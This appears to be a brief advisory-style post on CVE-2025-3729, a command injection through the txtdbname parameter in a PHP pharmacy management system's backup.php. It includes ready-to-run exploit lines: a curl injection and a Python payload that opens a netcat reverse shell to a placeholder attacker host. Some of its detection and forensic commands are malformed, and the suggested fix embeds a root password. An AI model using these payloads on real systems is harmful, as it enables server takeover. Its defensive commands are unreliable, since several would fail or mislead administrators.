How CVE-2025-3729 Works
CVE-2025-3729 is a critical OS command injection vulnerability in SourceCodester’s Web-based Pharmacy Product Management System 1.0. The flaw exists in `backup.php` due to improper sanitization of the `txtdbname` parameter. Attackers can inject malicious commands via this parameter, which are then executed on the server with web application privileges. The vulnerability is remotely exploitable without authentication, allowing attackers to compromise the underlying system. The database backup handler fails to validate user-supplied input before passing it to system shell commands, enabling arbitrary command execution.
DailyCVE Form
Platform: SourceCodester
Version: 1.0
Vulnerability: OS Command Injection
Severity: Critical
Date: 04/29/2025
What Undercode Say:
Exploitation:
curl -X POST "http://target.com/backup.php" -d "txtdbname=;id;uname+-a"
import requests
payload = ";nc -e /bin/sh attacker-ip 4444"
requests.post("http://victim.com/backup.php", data={"txtdbname": payload})
Detection:
grep -r "system(" /var/www/html/
SELECT FROM logs WHERE request LIKE "%txtdbname=%3B%"
Mitigation:
// Fix for backup.php
$dbname = escapeshellarg($_POST['txtdbname']);
system("mysqldump --user=root --password=pass " . $dbname);
location ~ /backup.php {
deny all;
}
Forensics:
auditd -l /var/log/audit.log -k txtdbname
journalctl -u apache2 --since "1 hour ago" | grep "sh"
Network Protection:
iptables -A INPUT -p tcp --dport 80 -m string --string "txtdbname=" --algo bm -j DROP
WAF Rule (ModSecurity) SecRule ARGS:txtdbname "@rx [;|&]" "id:1001,deny,status:403"
Patch Verification:
php -l /var/www/html/backup.php
diff -u backup.php backup.php.patched
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
